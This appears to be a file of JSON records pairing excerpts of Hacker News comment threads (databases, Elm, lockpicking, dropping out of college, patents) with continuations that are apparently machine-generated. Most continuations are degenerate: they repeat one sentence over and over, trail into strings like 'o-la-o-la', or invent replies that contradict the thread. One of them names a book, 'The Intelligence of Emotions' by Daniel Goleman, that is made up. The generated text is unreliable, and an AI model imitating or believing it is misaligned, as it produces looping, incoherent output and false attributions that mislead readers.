from someone that still mix up anarchy with chaos.\n\na good example to end"} +{"output_text": "They are not using it for their own benefit.\n\n~~~\nTaylorAlexander\nI\u2019m not sure I understand your point.\n\n~~~\nNicoJuicy\nI'm not sure I understand your point.\n\nSamsung spend 130 million on research on bendable phones.\n\nThey are not using it for their own benefit.\n\nThey are using it for the benefit of the world.\n\n~~~\nTaylorAlexander\nI\u2019m not sure I understand your", "input_text": ",959\n\n5\\. Oracle | 2.09% | $52,312\n\n6\\. Redis | 1.92% | $51,728\n\nMore stats and details here\n[https://jobsquery.it/stats/databases/group](https://jobsquery.it/stats/databases/group)\n\n~~~\nnetcraft\nnot sure if it was intended, but the article is discussing MSSQL not MYSQL. I\nthink MYSQL has a popularity advantage over PGSQL because of a long tail of\nhistorical reasons, but this is just my opinion.\n\n~~~\ncollyw\nIts a bit like PHP, its easy to install and get started compared to PG (I need\nto look up the docs every time I do a PG install to get the initial users\nstarted - Mysql often offers me that from the OS package manager).\n\n \nAs China Hacked, U.S. Businesses Turned a Blind Eye - derchu\nhttps://www.npr.org/2019/04/12/711779130/as-china-hacked-u-s-businesses-turned-a-blind-eye\n======\nwatertom\nForget about the hacking.\n\nU.S. business walked into China and handed over all of their technology and\nIntellectual Property, just to have it used against them by the Chinese\ngovernment. China has only resorted to hacking lately in order to get more\ntechnology and IP.\n\n~~~\nTaylorAlexander\nAnd I think that\u2019s a good thing. Intellectual Property is harmful to most and\nonly benefits a few. If we abandoned the notion we\u2019d be better off.\n\n~~~\nNicoJuicy\nSamsung spend 130 million on research on bendable phones.\n\n"} +{"output_text": " the future of the internet\nand it's still a mess.\n\n~~~\naiscott\nI think it's a little more complicated than that.\n\nMicrosoft predicted the future of the internet and it's still a mess.\n\nMicrosoft predicted the future of the internet and it's still a mess.\n\nMicrosoft predicted the future of the internet and it's still a mess.\n\nMicrosoft predicted the future of the internet and it's still a mess.\n\nMicrosoft predicted", "input_text": "\ntill 2003.) It is so ingrained in my Web habits that I have the feeling it\nexisted already in the 90s.\n\n~~~\nJamesLeonis\nYou hit the nail on the head! I thought of some other things that would have\nfloored me 10-15 years ago.\n\n* Ask yourself what you used to search before Google? In fact, remember Web Rings?\n\n* How did you share pictures before Facebook, Myspace, or Flickr?\n\n* How about the holy grail of watching videos online before Youtube (Otherwise known as the dark ages of Real Player)?\n\n* Remember when you had to print out Mapquest directions to somebody's house? God forbid you missed a turn! When was the last time you consulted a paper map other than for fun?\n\n* How did you deal with the mountains of spam before Gmail, or any other industrial strength spam filter?\n\n* How about getting the internet on your cell phone?\n\n* When was the last time you had to pay for WiFi? Granted there are some holdouts, like airports, but WiFi is practically everywhere. If you can get into a Starbucks you have access, for free, to the internet.\n\n* How about downloading a 10mb file in less than an hour? God help you if the connection was interrupted...\n\nThe things we do today are astounding in both the scope of their capabilities\nand how much we take them for granted.\n\n------\naiscott\nI think this is pretty neat in retrospect, but it seems to me it didn't do\nAtari much good.\n\nMakes me wonder if all these \"Vision of the Future\" videos that companies put\nout now are equally as pointless.\n\n~~~\nandrewfelix\nI often think the same thing. Microsoft predicted"} +{"output_text": " way of saying that college is a waste of time?\n\n~~~\njoshu\nI think it's a subtle way of saying that college is a waste of time if you\ndon't have the life skills to succeed.\n\n~~~\nneilk\nI think it's a subtle way of saying that college is a waste of time if you\ndon't have the life skills to succeed.\n\n------\njoshu\nI think the author is right that college is", "input_text": " hold true from college, but a large majority of\nthe technologies, techniques, etc are no longer relevant.\n\n~~~\namputect\nThis would be true if you got a degree in FORTRAN or Java 1.5 (and if you did,\nthen that's a bummer!) instead of Computer Science. The vast majority of\nthings I learned with a computer science degree are language-agnostic, and the\nonly reason we used any language at all was because pseudocode is hard to\ncompile.\n\n~~~\ncyang08\nAgreed. For me, it was a big shift at first transitioning from a more\nvocational mindset (learning the language/framework of the day) to the\ntheoretical (design patterns, paradigms, architecture).\n\nAs an aside, just got through Martin Fowler's musing on architecture\n(). Highly recommended!\n\n------\nollidorn\nAs a med student, never in my life have I had the slightest provocation to\nconsider dropping out of school to pursue a startup. I know that I am\nextremely unfamiliar with the complexity of the choices involved, but having\nread this piece I'd be shocked if any prospective entrepreneurs were not\nstrongly persuaded to take this man's advice. This is wisdom without the\nostentatiousness of a NYT opinion.\n\n~~~\nmichaelfdeberry\nThere are different risk dynamics between someone that is studying medicine\nand someone studying computer science. The major one being that if you drop\nout while studying CS you could still likely get a job as developer if you are\nable to prove you are capable.\n\n------\nneilk\n\"college also teaches the life skills needed to succeed\"\n\nWhoa. Is this subtle"} +{"output_text": " themselves evolve.\n\n------\njrockway\nI don't think this is a problem. I think it's a problem that the school\ndistrict is trying to solve with technology.\n\nI think the solution is to have a teacher in every classroom. The teacher\nshould be able to see what the students are doing, and if they are doing\nsomething that is not appropriate, they should be able to stop them.\n\nThe teacher should be able to see what the students are", "input_text": " why they do not just switch to a whitelist, or why they even bother\nwith Internet access at all.\n\nEven if the censorship were limited, I cannot see how it would be justified.\nSuppose only hardcore pornography were blocked -- how is that acceptable?\nWould it not be better to punish students caught watching pornography at\nschool by having them write a lengthy essay about the history and politics of\npornography (and wouldn't the ability access at least one pornography website\nbe necessary?)? If the goal is _education_ shouldn't the focus be on\n_educating_, rather than on trying to shield students from the world?\nConsider the flip side of this: as a kid I was once sent to a summer program\nfor programming, and one of the other students was caught installing back\norifice on the computers. His punishment was to explain the software to\neveryone, along with the ethics of installing it without permission.\n\n------\nma_mazmaz\nThis is certainly not an issue with iPads, specifically. Students probably\nspend more time using computers for entertainment and social networking than\nthey do for school, but that doesn't stop teachers from taking their students\nto computer labs to type essays. Just because something can be used for fun,\ndoesn't mean that it has a place in schooling. Moreover, students very\ncommonly get around the very weak security procedures in place, which, more\noften than not, prevent students from doing legitimate school work, rather\nthan preventing abuse.\n\n------\nTrezoid\nHonestly, I'm a little surprised they weren't all completely open by lunchtime\nthe first day. Kids, when given access to technology in a school environment\nwill _always_ find new ways to (primarily) play games, and those ways will\nevolve as the schools"} +{"output_text": "\n\nI also agree with this part, \"The solution is to make sure that the\neducational system is not a place where people are indoctrinated into\nideologies that are antithetical to the values of the country.\"\n\nI also agree with this part, \"The solution is to make sure that the\neducational system is not a place where people are indoctrinated into\nideologies that are antithetical to the values of the country.\"\n\n", "input_text": " from comments like these, on the main page: \"My white\nmale sons are now 30 and 28. I\u2019m so happy they escaped public high school\nrelatively unscathed, but I could see the beginnings of the nonsense, led by a\nfaculty of activist females and male eunuchs. Public schooling in this country\nmay have begun with noble intent; kids are now truly being inculcated rather\nthan educated.\" and \"You state this like it is an article of faith that women\nwould be totally rad in STEM if only men would stop holding them back. What\nmakes this \u201csketchy\u201d? There is an abundance of evidence that men and women are\ndifferent and think differently. There is almost no evidence that women will\nchange that position based on upbringing.\" and then on hnews itself:\n\"#KillAll(White)Men is literally calling for ethnic / gender purging.\" (though\nit was downvoted).\n\nIt would be great to have a conversation with Dr. Haidt, but I was turned off\nby how both Heterodox and Hacker News turned into \"amen\" forums. There were\ntwo students who posted on Heterodox, and they had some interesting points,\nsome of which disagreed with Dr. Haidt.\n\n~~~\nhenshao\nThe commentators are self selecting - if they strongly agree, they comment,\nwhich they have. You're still trying to dismiss the article based on people\nhaving opinions different than yours, rather than critiquing the article\nitself.\n\n~~~\nccernaf\nWould you agree with me in saying that the comments are at least\ndisappointing?\n\nIn terms of the article itself, I agreed with this part, \"High schools and\ncolleges that lack viewpoint diversity should make it their top priority\""} +{"output_text": " you don't want\nto see the background, you can change it.\n\n~~~\njordigh\nI don't want to see the background. I want to see the text.\n\n~~~\nMrManatee\nYou can change the background color to white.\n\n------\njordigh\nI'm not sure what the point of this is. It's a CSS-only page, so it's not\ngoing to be rendered correctly in any browser.\n\n", "input_text": " seems to render it fine\n\n~~~\n52-6F-62\n73.0.1 on mac reporting\u2014it's almost perfect but the eyes are flawed. There's\nsome ghosting\n[https://i.imgur.com/r9kycp8.png](https://i.imgur.com/r9kycp8.png)\n\n------\ndusted\nCool pictures! Well done! That's quite a feat indeed!\n\nNot being a fan of CSS, I think this (the CSS source code) shows fairly well\nwhy I'm not a fan of CSS.\n\nSure, doing things like this is not what CSS is meant for.\n\nCSS is meant for making HTML do things it wasn't meant for.\n\n------\nDiabloD3\nSome of these do not seem to render correctly on Firefox. Seems to rely on\nChrome-specific behavior.\n\n~~~\nJosephRedfern\nSame here: [https://i.imgur.com/M07sFus.png](https://i.imgur.com/M07sFus.png).\nFF72 (just realised I'm a bit out of date).\n\n~~~\ngnulinux\nFF73 on OSX, I see the same result as that image.\n\n------\nSharparam\nViewing this page with Dark Reader enabled makes for quite a harrowing\nexperience...\n\n[https://i.imgur.com/AUTXPfW.png](https://i.imgur.com/AUTXPfW.png)\n\n~~~\njordigh\n:-(\n\nEveryone forgets that white is not the default background colour. There is no\ndefault background colour!\n\n~~~\nMrManatee\nSome forget. This page explicitly sets the background white. If"} +{"output_text": " crapware.\n\n~~~\nkmano8\nI'm not sure if you're referring to the \"free\" apps that are actually\n\"free\" (i.e. not malware) or the \"free\" apps that are actually \"free\" but\ninstall malware.\n\n~~~\ndharma1\nI'm referring to the \"free\" apps that are actually \"free\" but install\nmalware.\n\n------\njoshstrange\nI'm not sure", "input_text": "person interview, except this time with the\nroles reversed. I asked them to walk me through their products and platforms\nso I could better understand what I would be working on. Ten minutes in, I\nrealized what I was looking at. I treaded water until the end of the interview\nand called them a few days later to decline the offer.\n\nThe [engineering] team was solid, the tech was intriguing (a lot of expressjs\nmicroservices and interesting design patterns), and the offices were great.\nBut given the wealth of compelling opportunities for javascript engineers, I\ncouldn't come up with a good reason to work on something so insipid and\nmanipulative. This article is strangely validating, perhaps in a schadenfreude\nkind of way.\n\n~~~\nkragen\nGood for you. If more people were like you, companies like 50onRed wouldn't\nexist.\n\nI think you may have meant \"insidious\", though, not \"insipid\" \u2014 because\n\"insipid\" is the opposite of \"intriguing\" and \"compelling\".\n\n~~~\nalanh\nI think it works. The 'problem' 50onRed is'solving' is not an intriguing or\ncompelling one.\n\n------\nBradyDale\nWorth noting that the reporter on this story is a beat reporter who has been\ncovering the Philadelphia tech scene closely for years now. She knows it like\nno one else.\n\n~~~\nkmano8\nAgreed- Juliana is top-shelf.\n\n------\ndharma1\nI had no idea there is a such a large industry doing this type of stuff until\nbuilding a Windows 10 machine recently for VR. So many \"free\", seemingly\nkosher apps seem to install sneaky"} +{"output_text": " number of support tickets?\n\n~~~\njoshuahedlund\nI don't have any data to back this up, but I think it's a reasonable\nhypothesis. I think it's also a reasonable hypothesis that the more expensive\nplans are more likely to have more support because they're more likely to be\nused by people who are more likely to need support.\n\n------\njoshuahedlund\nI'm curious if anyone has any thoughts on the following", "input_text": " support incidents\nper month. I've taken the liberty of scaling them to X, where X represents the\nnumber for the highest publicly available account plan.\n\n~~~\nibotty\nyou are certainly right with your scale, but i guess zobzu's point is, that\nyour non-support costs (say: development) is mostly paid by your 9$ and 29$\ncustomers (in absolute terms).\n\nso you cannot just get rid of every customer but your high paying ones.\n\n~~~\njoshuahedlund\nGood point. Of course it's possible that 7X is a cost that cancels out the\nrevenue from those customers, in which case it would be better not to offer\nthe option, but as long as it's not, it's still profitable to offer the plan.\nDepending on the ratios, the cheap customer bracket could even be more\nprofitable (in absolute terms, as you say). You just have to build the extra\nsupport cost into your pricing.\n\n$9 customer - $5 support = $4 per many customers\n\n$199 customer - $1 support = $198 per few customers\n\n------\ncitricsquid\nI share the view, however:\n\n> So it\u2019s not that cheap people require more support. It\u2019s that people who\n> require more support are more likely to make their decision based on price\n> alone.\n\nWhat evidence is there of this? Surely if you have a plan for $10, $50 and\n$100 you're going to have more customers at the $10 price point simply because\nit's so cheap and therefore more support will go to people at that price\npoint. Has anyone even actually released any sort of statistical analysis of\nprice points and support taking into account the pricing, total customers and\nthe"} +{"output_text": "ing, and\nmaintaining a power source is a pain.\n\n~~~\nproee\nI agree, but I think the problem is that the lock is not designed to be\nopened. It's designed to be opened by a key.\n\nI think the problem is that the lock is designed to be opened by a key, and\nthe key is designed to be opened by a key.\n\n~~~\nshabble\nI think you're right, but I think the", "input_text": "/competitive_lockpicking_growing_in_us_popularity/?page=full\n======\ndjacobs\nOne of the more striking points of this article (for me) was not so much about\nlockpicking. It was this statement:\n\n\"Some lockpickers observe a code of responsible disclosure by providing\nmanufacturers information on weaknesses they discover in locks they defeat --\n_just like responsible computer hackers do when they detect security flaws in\nsoftware_.\"\n\nI'm thrilled to see a statement like this coming from the mainstream media.\n\n~~~\nbaddox\nYeah, and both types of responsible whistleblowers probably end up getting\narrested.\n\n------\nproee\nI'm surprised there are not more digitally controlled locks on the market -\nsomething that has an embedded microcontroller that releases a solenoid if the\nright code is entered.\n\nWhat's a locksmith hacker to do with such a lock? There's no keyhole to use a\ndiamond pick and so its basically a metal brick. I don't see too many ways to\nopen it without destroying it physically.\n\nMaybe I'm missing the big picture, but a traditional keyed lock seems about as\nhigh-tech as an ancient model-T car. It's completely out of place given the\nlatest technology available today.\n\n~~~\nshabble\nThe big problem with digital and electronic locks in general is maintaining\nthe power source. Mechanical locks have extremely low maintenance\nrequirements, and could be left unattended for months or years without issue.\nEven if they then stick, a quick shot of WD40 will usually allow entry.\n\nElectronics, on hte other hand, rely either on external power, or some sort of\ninternal battery. A battery is ill-suited to heavy duty-cycl"} +{"output_text": " the book is the most important thing.\n\nI've read books that are over 500 pages and I've read books that are under 50\npages. I've read books that are over 1000 pages and I've read books that are\nunder 100 pages.\n\nI've read books that are over 1000 pages and I've read books that are under\n100 pages.\n\nI've read books that are over 1000 pages and I've read books that are under\n100 pages.\n\n", "input_text": " Linux server running\nnode.js. I want to compare some NoSQL datastores to an RDBMS or two.\n\nWhen I want distraction or to rest my brain, I'll take entertainment in short\nspans. I really don't want to invest weeks of two-hour nights reading a work\nof fiction. I'm not terribly interested in reading someone's biography. And\nunless a non-fiction topic is currently meaningful to me (for example, books\nabout the human mind when I was in my early 20s), then I'm not likely to Just\nRead.\n\nI feel like if I Just Read for reading's sake, I'm not honing the craft that's\nimportant to me. I feel like it makes me a \"jack of all trades\" and therefore\n\"master of none.\"\n\n------\ncthalupa\nFor some time I thought I definitely had a shorter attention span due to the\ninternet - I'd be reading something, and compulsively have to go check my\nemail, facebook, forums I visit, hacker news, my frequented subreddits. Read a\nbit more. Check everything. Repeat.\n\nBut I didn't find it all that hard to just close my laptop and put my phone\nfacedown more than an arm's length away. I thought it would be a titanic\nstruggle - but as soon as I made it slightly inconvenient to distract myself,\nI found myself once again able to read through hundreds of pages of books.\n\nIt's anecdotal, of course. But for me, being able to \"read\" again was as\nsimple of giving myself the slightest barrier to getting distracted.\n\n------\ndeadfece\nIn many instructional and self-help books, I find that the author's attempt to\nhit appropriate word-count for"} +{"output_text": " thinking about it.\n\n------\njballanc\nI'm not sure if this is a good idea, but I'm going to try it out.\n\nI'm going to try to make a \"related work\" section on the homepage.\n\nI'm going to try to make a \"related work\" section on the homepage.\n\nI'm going to try to make a \"related work\" section on the homepage.\n\nI'm going to try to make a \"", "input_text": "\n\n------\nnawitus\nI prefer a more modular approach to UI components. After using Bootstrap for a\nwhile I find myself often choosing a standalone component over the one\nprovided by Bootstrap, since I can choose the component that best fits to the\nrquirements.\n\n------\nbaby\nI was using Foundation and Bootstrap for years and I recently switched to the\namazing semantic-ui. This seems like a clone of semantic-ui (kind of) and I\ndon't really understand what's the difference.\n\n------\nsmrtinsert\nI'm really in materializecss.com lately.\n\n~~~\nSkyMarshal\nLet me link that for you:\n[http://materializecss.com](http://materializecss.com)\n\n------\nxjia\nI'd love to see a \"related work\" section on the homepage.\n\n \nWatch Paul Graham write his latest essay - jballanc\nhttp://etherpad.com/ep/pad/slider/foundervisa\n======\ndctoedt\nAs a lawyer, I was both fascinated and horrified by the replay.\n\nImagine a company routinely using EtherPad (really cool, BTW) to create\ndocuments -- in the process saving thousands if not millions of interim\ndrafts.\n\nNow imagine the company getting into a lawsuit. Some subset of N documents --\nand of all interim-draft snapshots of those N documents that are still in\nexistence -- will have to be screened for possible disclosure to the other\nside. (There are tools for partially automating this, but lawyers and\nparalegals will still have to individually look at many documents / drafts.)\n\nIn PG's case, there were 2,886 such snapshot drafts for just one document.\n\nMakes me shudder just"} +{"output_text": "It's a cljs-js package manager that makes it easy to use cljs with existing\njs libraries.\n\n~~~\ndanenania\nI've used it, but it's not a replacement for the Closure compiler. It's a\npackage manager for cljs-js, which is a separate project.\n\n------\njoshu\nI'm not sure I understand the point of this.\n\nThe Elm compiler is a compiler. It takes a program written", "input_text": "I just haven't heard of\nanything yet. While they're \"nice to have\" now, these features might become\ncrucial and important.\n\nAnother interesting thing about Elm is its progressive removal of features (I\nthink the infix operator was or is going to be removed soon) in order to make\nthe language more approachable. I actually support this because if you need\n\"true\" ML/Haskell features, there's PureScript.\n\nAnyway, glad to see Elixir and Elm being used productively!\n\n~~~\nhellofunk\nAt the very least, Elm code should be compatible with Google's Closure\ncompiler (just like Clojurescript). There is no reason the Elm folks should\ntry to re-invent the wheel on this, just harness the power of the Closure\nutilities by making your emitted JS standardized and compliant. Then you get\nall sorts of things for free, like dead code elimination, just for starters.\nThe Clojure team realized this from the _start_ and it has done a lot for the\ncljs ecosystem.\n\n~~~\ndanenania\nI disagree. Google Closure is antiquated and complicated to configure and adds\na lot of unpleasant baggage to cljs.\n\nI love Clojurescript as a language, but using it alongside existing js\nlibraries is awkward and error-prone, and getting the build process to work\nsmoothly takes way more time than it should. Cljs gets a lot right too, but it\nshouldn't be held up as an example in this regard.\n\n~~~\nsmnplk\nDo you know about cljs-js?\n[https://github.com/cljsjs/packages](https://github.com/cljsjs/packages)\n\n"} +{"output_text": "o-chee-o-la-o-la-o-la-\no-la-o-la-o-la-o-la-o-la-o-la-o-la-o-la-o-la-o-la-o-la-o-la-o-la-o-la-o-la-o-la-\no-la-o-la-o-la-o-la-o", "input_text": "\nsyllables long!) \"douwemaan apenstaartje domain\".\n\nIn my experience most (if not all) people in my age group (18 - 25) simply\npronounce it as \"at\". This could be a generational thing as most of us were\nraised with the internet and all these internet-y terms come quite naturally\nto us.\n\n~~~\nmercer\nIt could very well be an age thing, because I myself and friends of similar\nage (25-30) use both 'at', and 'apenstaartje', although primarily the former.\n\n------\nkiyoto\nIn Japanese, the sign itself is called \"attomaaku\" (\"at mark\") but it's\npronounced as \"atto\" when dictated. So someone's email would be johnsmith-at-\ngmail-dot-com, and if you ask a Japanese person to pronounce the symbol, they\nwould say \"atto\". However, if you show them the symbol and ask them _what it\nis_, they probably would say \"attomaaku\".\n\nSemiotics is fascinating.\n\n~~~\nlnanek2\natto is about the closest their writing rules allow. It is all pairs like ka,\nki, ko, ku, except for n. So all loan words have to be extended if they end\nillegally.\n\n~~~\nsterling312\nActually it's interesting that you mention this. Technically, you can also\nmake it atoma-ku, (like ato like in later, and ma-ku as in mark). I wonder if\nthe dip-tone was intentional to make it sound more like foreign word.\n\n------\nternaryoperator\n\"[chiocciola] is fun to say, too. Something like 'chee-"} +{"output_text": ", get it.\n\n4\\. If you are in the US, get a lawyer and a visa. If you are in the UK, get a\nlawyer and a visa.\n\n5\\. If you are in the UK, get a lawyer and a visa. If you are in the US, get a\nlawyer and a visa.\n\n6\\. If you are in the US, get a lawyer and a visa. If you are in the UK, get a\n", "input_text": " is a short read but I\ncan't help but think back on it and reflect on it's lessons from time to time.\n\n------\navip\nDo you have any less virtual forum to discuss this? Family? Friends? The\nInternet is a terrible medium for dealing with emotional downtimes.\n\n~~~\nphilbarr\nSometimes it can be better NOT to discuss with friends and family - they are\nmuch more likely to tell you what they think you want to hear in order to\ncheer you up.\n\n------\naerovistae\nHonestly really proud of HN right now. Skimmed this expecting to see a lot of\ncomments condemning and belittling this guy, and instead see a lot of support.\nHopefully not just because the bad comments got deleted. Rare moment for the\ninternet.\n\n------\nsantoshalper\nThere's lots of great advice in this thread, but much of it is not direct\nenough for someone suffering from depression and anxiety, which you obviously\nare. I have struggled with it on-and-off my entire adult life. What you need\nright now are clear simple marching orders that you can follow.\n\n1\\. You are in no position to run a business right now, and in no position to\nlive alone in a foreign country without extensive support from family and\nloved ones.\n\n2\\. How your actions will reflect on other foreigners is totally irrelevant to\nyour situation. Your fixation with this is a symptom of anxiety. Right now you\nbelieve you are be watched and judged. In reality, one week after you leave\nnobody there will remember you or care. You are free.\n\n3\\. Tell your accountant to wind down your business immediately. Do not\nequivocate or listen to arguments from him. If you need help"} +{"output_text": "\nI'm not sure if you're still searching, but I think you're on the right track.\n\nI dropped out of college, and I'm still searching. I'm not sure if I'll ever\nfind the answer, but I'm still searching.\n\nI'm not sure if you're still searching, but I think you're on the right track.\n\nI dropped out of college, and I'm still searching. I'm not sure if I'll ever\nfind", "input_text": " can see how lucky I was.\n\nOn the flip side of the token, if I hadn't dropped out of college, I probably\nwould be slaving away in a consulting/investment banking role and never would\nof gone down the startup route. I would not be as happy/wealthy as I am today\nand I probably wouldn't be as mature as I am now. I understand my\nlimitations/vulnerabilities and strengths better as a result today.\n\nAlthough I'm happy with my decision, I have been having a sort of a midlife\ncrisis at this point.\n\nAll through life, there's always something ahead. In middle school, you have\nhigh school. In high school you have college; and theoretically in college,\nyou have some kind of first job. After your first job, you get\npromoted/transfer to higher paying jobs etc\u2026.\n\nFor someone who drops out of college, the path can be a bit ambiguous. I've\nsold my first company and I'll most likely start another company soon, but\nwhat happens after that? Do i continue starting/selling companies for the rest\nof my life? Do I end up just becoming an angel investor/partner at a vc firm?\nOr do i just retire now and do all the fun/creative projects that I wanted to\ndo as a kid? I guess I'm still searching\u2026\n\nI'm still searching because the toughest problem of my life wasn't to drop out\nor stay; that decision was easy. The toughest problem of my life is something\nI've been delaying solving and which I should of tried to solve sooner and\nwhich I may never solve.\n\nThe toughest problem of my life will be to learn and choose what makes me\nhappy.\n\n~~~\n2pasc"} +{"output_text": " a problem.\n\n------\nmatt_wulfeck\nI'm not sure I understand the point of this article. It seems to be saying\nthat the Xeer is a good idea, but it's not a good idea because it's not\nperfect.\n\n~~~\nmatt_wulfeck\nI'm not sure I understand the point of this article. It seems to be saying\nthat the Xeer is a good idea, but it's not a", "input_text": " old and actually widely accepted.\n\n~~~\npraxeologist\nXeer is one example of the success of private, customary and polycentric law.\nThe Lex Mercatoria as the other poster noted is one more example.\n\nSee also Zomia: [http://opinionator.blogs.nytimes.com/2012/02/14/the-\nundiscov...](http://opinionator.blogs.nytimes.com/2012/02/14/the-undiscovered-\ncountry/)\n\nMedieval Iceland: [http://mises.org/daily/1121](http://mises.org/daily/1121)\n\nand Ireland (page 3):\n[https://mises.org/journals/lf/1971/1971_04.pdf](https://mises.org/journals/lf/1971/1971_04.pdf)\n\nPeople are waxing about the superiority of \"British common law\" while its\nroots are a system of the Anglo-Saxons extremely similar to the Xeer.\n\n------\nblueskin_\n>stateless society\n\nSounds to me like a nicer way of saying failed state, which is what Somalia\nis.\n\n~~~\niand\nWhy say failed state? Do you presume that all countries must have a state?\n\n~~~\nblueskin_\nThe alternative is anarchy. Communists like to say that anarchy would be happy\nrainbows and sharing, but the closest nations we have to it are mostly in\nAfrica, and more resemble feudal warlords than a utopian society.\n\n------\nmcguire\n\" _People who have migrated to locations far removed from their homes can also\nfind themselves without adequate representation at Xeer proceedings._ \"\n\nThat kinda sounds like"} +{"output_text": "------\njoshu\nI think you need to find a way to get your hands on a copy of \"The\nIntelligence of Emotions\" by Daniel Goleman.\n\nIt's a book about how emotions are the key to human intelligence.\n\n------\njoshu\nI think you need to find a way to get your hands on a copy of \"The\nIntelligence of Emotions\" by Daniel Goleman.\n\nIt's a book about how", "input_text": ").. those require insight. You might self-\nsabatoge because you know the insight is not there. But the one way out of\nthat is to do this: your code/app/software may not be a global solution and\nmake you rich but a stepping stone along the way to making it so. That's it.\nSimple. Do the work, practice. For those interviewing.. Do you the algorithms,\nleet code. Just do it.\n\n------\nthemodelplumber\nAre you one of the \"theorist\" NT personality types? It's very common for such\nintuitive thinkers to get into these kind of traps. Day-to-day task management\nand productivity (especially detail work) become significant stressors. The\nbest answer I've found is rebalancing in favor of thinking-as-job and doing\nmore consulting, planning, teaching, and less making or doing. Then the making\nor doing can develop on its own in e.g. hobby time.\n\nIt's just another mental model or lens through which to view the human system,\nbut I find it useful. Last I checked the majority of HN were intuitive theory-\ntypes. Good luck.\n\n------\nonmonday\nI suspect the issue isn't that rare, but clinical explanations are worth\nconsidering. Look at a wider range of that menu too. What used to be known as\nAsperger's syndrome (now \"high-functioning autism spectrum disorder\" or\nsomething like that) can have these sorts of issues as a facet, and is also of\nparticular interest to our demographic.\n\nBut I think you would also do well to consider what you do have easy access to\nmotivation for and if there is a mismatch between your work and your values\nabout how you want to live.\n\n"} +{"output_text": "\n------\njoshstrange\nI'm not sure I understand the point of this. I'm not a frontend dev but I\ndon't see how this is any different than using Bootstrap or Foundation.\n\n~~~\ncortesoft\nIt is different. It is a toolkit that is designed to make it easier to build\nweb applications. It is not a framework.\n\n~~~\njoshstrange\nI see what you're saying but I don't see", "input_text": "ruture to your company and\nbe entirely limited by your capabilites and rewrite my app specifically for\nyour system? Seriously? Are there people actually interested this? Who's the\ntarget audience? (I hope you don't say backend developers)\n\n~~~\ncortesoft\nI think spire.io is more geared towards people making new applications. If you\nalready have a working backend, keep using it. However, if you are making a\nnew web application, you need to pick your battles; do you spend your time\nwriting server code and setting up a server, or do you spend your time writing\nthe actual application? It is a reinventing the wheel thing. You want to spend\nyour time writing the parts of your app that are DIFFERENT and actually core\nto your application.\n\n \nToolkit - prostoalex\nhttp://titon.io/en/toolkit\n======\nn8m\nIt's good to see something else than Bootstrap. If you like this, have a look\nat: [http://www.semantic-ui.com/](http://www.semantic-ui.com/) \\- I love using\nthis as every component can be downloaded separately.\n\n~~~\nim_dario\nI tried to use Semantic UI and I didn't grasp it properly. Don't get it as\nnegative criticism but I found there is a simple tutorial and its grid is kind\nof unusable even looking examples.\n\nIn my last project ended using Zurb Foundation although I had Semantic UI as\nfirst option. Any pointer will be useful.\n\n~~~\ndesireco42\nI got lost too, they do present it nicely, but using it is not as easy as I\nexpected. So I had to abandon it. I like Bourbon quite a bit.\n"} +{"output_text": " least one\n> process being executed at the computer in response to the command, and\n> output data being generated at the computer in response to executing at\n> least one process at the computer, the output data being transmitted to the\n> mobile device.\n\nThe claim is not limited to voice commands. It is not limited to a computer.\nIt is not limited to a mobile device. It is not limited to a computer that is\nconnected to the internet. It is not limited", "input_text": "isode/441/...](https://www.thisamericanlife.org/radio-\narchives/episode/441/when-patents-attack) (2011)\n\nfollow up: [https://www.thisamericanlife.org/496/when-patents-attack-\npar...](https://www.thisamericanlife.org/496/when-patents-attack-part-two)\n(2013)\n\n------\nheisenbit\nThe first one claimed:\n\n[https://patents.google.com/patent/US9794348B2/en](https://patents.google.com/patent/US9794348B2/en)\n\nAbstract A method of using voice commands from a mobile device to remotely\naccess and control a computer. The method includes receiving audio data from\nthe mobile device at the computer. The audio data is decoded into a command. A\nsoftware program that the command was provided for is determined. At least one\nprocess is executed at the computer in response to the command. Output data is\ngenerated at the computer in response to executing at least one process at the\ncomputer. The output data is transmitted to the mobile device.\n\nIt is worth noting (based on Google...) that they are the first ones against\nwhich this patent asserted in court. Based on its broad applicability they are\nclearly following a strategy of getting a few wins against weaker targets\nbefore taking on the rest of the world.\n\nAlexa, Siri please help!\n\n~~~\nrayiner\nThe claim is the relevant part, not the abstract. Claim 1 recites:\n\n> A method of remotely accessing and controlling a computer from a mobile\n> device, comprising:\n\n> receiving audio data from the mobile device, at the computer, at"} +{"output_text": "\nprevent injury.\n\nI don't know if this is true, but it's a nice thought.\n\n~~~\njessaustin\nI've heard that the brain does indeed adapt to the fall, but that the\nadaptation is not so much to slow time as to slow the brain's own internal\nclock.\n\n~~~\nJoeDaDude\nI've heard that too. I think it's a good idea.\n\n------\njessaustin\n", "input_text": " or whatever are actually scarce enough to\nbe re-used.\n\n~~~\niamatworknow\nNo. All of the reality as we know it is just a software bug, with the fix\nrequest sitting in some junior developer's project management system. They\njust haven't gotten around to submitting a pull request yet.\n\n------\nsizzzzlerz\nA man jumps off a 20 story building. As he passes an open window on the 6th\nfloor, people on the floor hear him exclaim \"so far, so good!\".\n\n~~~\nkomali2\nI don't get it\n\n~~~\n_cereal\nI suppose it's a quote from La Haine (1995)\n[http://www.imdb.com/title/tt0113247/](http://www.imdb.com/title/tt0113247/)\n\n> Heard about the guy who fell off a skyscraper? On his way down past each\n> floor, he kept saying to reassure himself: So far so good... so far so\n> good... so far so good. How you fall doesn't matter. It's how you land!\n\n~~~\n_raul\nI remember hearing it from Steve McQueen in The Magnificent Seven when I was a\nkid\n[https://www.youtube.com/watch?v=V7GP3l5znc8](https://www.youtube.com/watch?v=V7GP3l5znc8)\n\n------\nJoeDaDude\nAges ago (early 1980s) I read a magazine article about the minds' adaptation\nwhen falling. The article posited that the brain kicks into high gear and time\nsubjectively slows down for the faller, enabling them to take action to"} +{"output_text": " a fan of the \"tell them\" approach, I do agree with the\nsentiment.\n\nI've found that the best way to get requirements is to ask the customer what\nthey want.\n\n~~~\nj_baker\nI agree with you. I just wish I could upvote this comment 100 times.\n\n------\nj_baker\nI'm not sure I agree with the \"tell them\" approach. I think it's better to\nfind out what", "input_text": "\" logo that combined all 10 ideas, plus their own ideas, and I found\nmyself in a very awkward situation of trying to figure out how to tell them\nthat's a really bad idea. After the ordeal was done, my boss said \"Yeah, next\ntime, only show them two.\"\n\n------\njsdalton\nThe comic referenced at the top of the article was good for a laugh or two:\n\n\n~~~\nmarkpercival\nI think it also illustrates where this article goes wrong. You don't say NO to\nthe client, you say NO to a potential customer before they become the client.\n\nCiting the second part of the comic - Client: \"Our last designer was an\nIDIOT\". Then the next appropriate question is - What idiot hired/managed him?\n\nYou're about to become the 'last designer'\n\n~~~\nRyanMcGreal\n> 